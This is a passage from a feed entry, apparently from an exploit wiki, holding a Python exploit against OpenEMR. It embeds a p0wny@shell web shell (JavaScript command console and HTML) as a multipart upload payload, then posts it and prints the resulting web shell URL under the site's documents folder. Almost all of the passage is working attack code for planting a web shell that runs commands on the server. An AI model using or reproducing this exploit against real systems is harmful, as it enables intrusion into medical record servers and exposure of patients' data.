function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \&amp;quot;Enter\&amp;quot;:\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \&amp;quot;\&amp;quot;;\n                        break;\n                    case \&amp;quot;ArrowUp\&amp;quot;:\n                        if (historyPosition &amp;gt; 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \&amp;quot;ArrowDown\&amp;quot;:\n                        if (historyPosition &amp;gt;= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \&amp;quot;\&amp;quot;;\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \&amp;quot;=\&amp;quot; + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\&amp;quot;&amp;amp;\&amp;quot;);\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\&amp;quot;POST\&amp;quot;, url, true);\n                xhr.setRequestHeader(\&amp;quot;Content-Type\&amp;quot;, \&amp;quot;application/x-www-form-urlencoded\&amp;quot;);\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 &amp;amp;&amp;amp; xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\&amp;quot;Error while parsing response: \&amp;quot; + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \&amp;quot;SELECT\&amp;quot;) {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\&amp;quot;shell-cmd\&amp;quot;);\n                eShellContent = document.getElementById(\&amp;quot;shell-content\&amp;quot;);\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        &amp;lt;/script&amp;gt;\n    &amp;lt;/head&amp;gt;\n\n    &amp;lt;body&amp;gt;\n        &amp;lt;div id=\&amp;quot;shell\&amp;quot;&amp;gt;\n            &amp;lt;pre id=\&amp;quot;shell-content\&amp;quot;&amp;gt;\n                &amp;lt;div id=\&amp;quot;shell-logo\&amp;quot;&amp;gt;\n        ___                         ____      _          _ _        _  _   &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n|_|                         |___/  \\____/                                  &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n                &amp;lt;/div&amp;gt;\n            &amp;lt;/pre&amp;gt;\n            &amp;lt;div id=\&amp;quot;shell-input\&amp;quot;&amp;gt;\n                &amp;lt;label for=\&amp;quot;shell-cmd\&amp;quot; id=\&amp;quot;shell-prompt\&amp;quot; class=\&amp;quot;shell-prompt\&amp;quot;&amp;gt;???&amp;lt;/label&amp;gt;\n                &amp;lt;div&amp;gt;\n                    &amp;lt;input id=\&amp;quot;shell-cmd\&amp;quot; name=\&amp;quot;cmd\&amp;quot; onkeydown=\&amp;quot;_onShellCmdKeyDown(event)\&amp;quot;/&amp;gt;\n                &amp;lt;/div&amp;gt;\n            &amp;lt;/div&amp;gt;\n        &amp;lt;/div&amp;gt;\n    &amp;lt;/body&amp;gt;\n\n&amp;lt;/html&amp;gt;\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\&amp;quot;destination\&amp;quot;\r\n\r\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\&amp;quot;patient_id\&amp;quot;\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\&amp;quot;category_id\&amp;quot;\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\&amp;quot;process\&amp;quot;\r\n\r\ntrue\r\n-----------------------------370797319835249590062969815666--\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Exploit&lt;br /&gt;
x = session.post(url_upload, headers=header,data=body).text&lt;br /&gt;
print('')&lt;br /&gt;
print('[+] Uploading your Webshell')&lt;br /&gt;
b = x[x.find('documents/') + 10:]&lt;br /&gt;
c = b[:b.find('&amp;lt;')]&lt;br /&gt;
webshellpath = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/documents/' + c&lt;br /&gt;
print('    [*] Webshell: ' + webshellpath)&lt;br /&gt;
print('')&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>